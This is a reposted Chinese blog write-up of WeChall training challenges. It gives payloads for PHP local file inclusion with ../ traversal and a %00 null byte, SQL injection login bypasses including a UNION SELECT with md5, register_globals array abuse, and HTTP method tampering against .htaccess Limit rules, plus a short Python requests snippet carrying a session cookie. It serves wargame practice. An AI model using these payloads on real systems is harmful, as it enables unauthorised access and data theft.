WeChall writeup

转载

weixin_34101784 于 2017-07-03 22:52:00 发布 66 收藏
文章标签： php 数据库
原文链接：http://www.cnblogs.com/vincebye/p/7113447.html

PHP - Local File Inclusion

```
################################
### Here is your exploit :) ###
################################
$code = '$filename = \'pages/\'.(isset($_GET["file"])?$_GET["file"]:"welcome").\'.html\';';
$code_emulate_pnb = '$filename = Common::substrUntil($filename, "\\0");'; # Emulate Poison Null Byte for
PHP>=5.3.4
$code2 = 'include $filename;';
### End of exploit ###
```

将$code后的.html去掉，则可以构造语句截断url编码后%00,另一方面利用../跳转目录

则提交Payload

```
http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00
```

PHP-0817

Payload:

```
https://www.wechall.net/challenge/php0817/index.php?which=solution
```

Training:MYSQL I

Payload:

```
Username='admin' and 1=1#
```

Training:MYSQL II

Payload:

```
username=admin' union select 1,'admin',md5('password');#
```

PHP - Register Globals

Payload:

```
http://www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin
```

Tips:

```
Register Globals 已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。
```

Training: LSB

```
利用Stegsolve打开图片
```

Limited Access

```
AuthUserFile .htpasswd   #密码文件的路径
AuthGroupFile /dev/null #用户组文件路径
AuthName "Authorization Required for the Limited Access Challenge"
AuthType Basic               #验证类型
<Limit GET>                   #允许GET方式访问
require valid-user            #要求验证过的用户进入
</Limit>

参考链接:http://hack.77169.com/HTML/20150212133446.shtm


Payload:
import requests
cookie={'WC':'9xxxxx-xxxxx-xxxxxxxxxxx'}
url='http://www.wechall.net/challenge/wannabe7331/limited_access/protected/protected.php'
res=requests.post(url,cookies=cookie)
```

Limited Access Too

```
AuthUserFile .htpasswd
AuthGroupFile /dev/null
AuthName "Authorization Required for the Limited Access Too Challenge"
AuthType Basic
<Limit GET POST HEAD PUT DELETE CONNECT OPTIONS>
require valid-user
</Limit>
```

忽略了PATCH,TRACE方法

```
Payload:
import requests
cookie={'WC':'9690011-32984-bgehHEDu1I5z7iBn'}
url='http://www.wechall.net/challenge/wannabe7331/limited_access_too/protected/protected.php'
```

TRACE用curl -X TRACE url显示方法不允许，不知道为什么

转载于:https://www.cnblogs.com/vincebye/p/7113447.html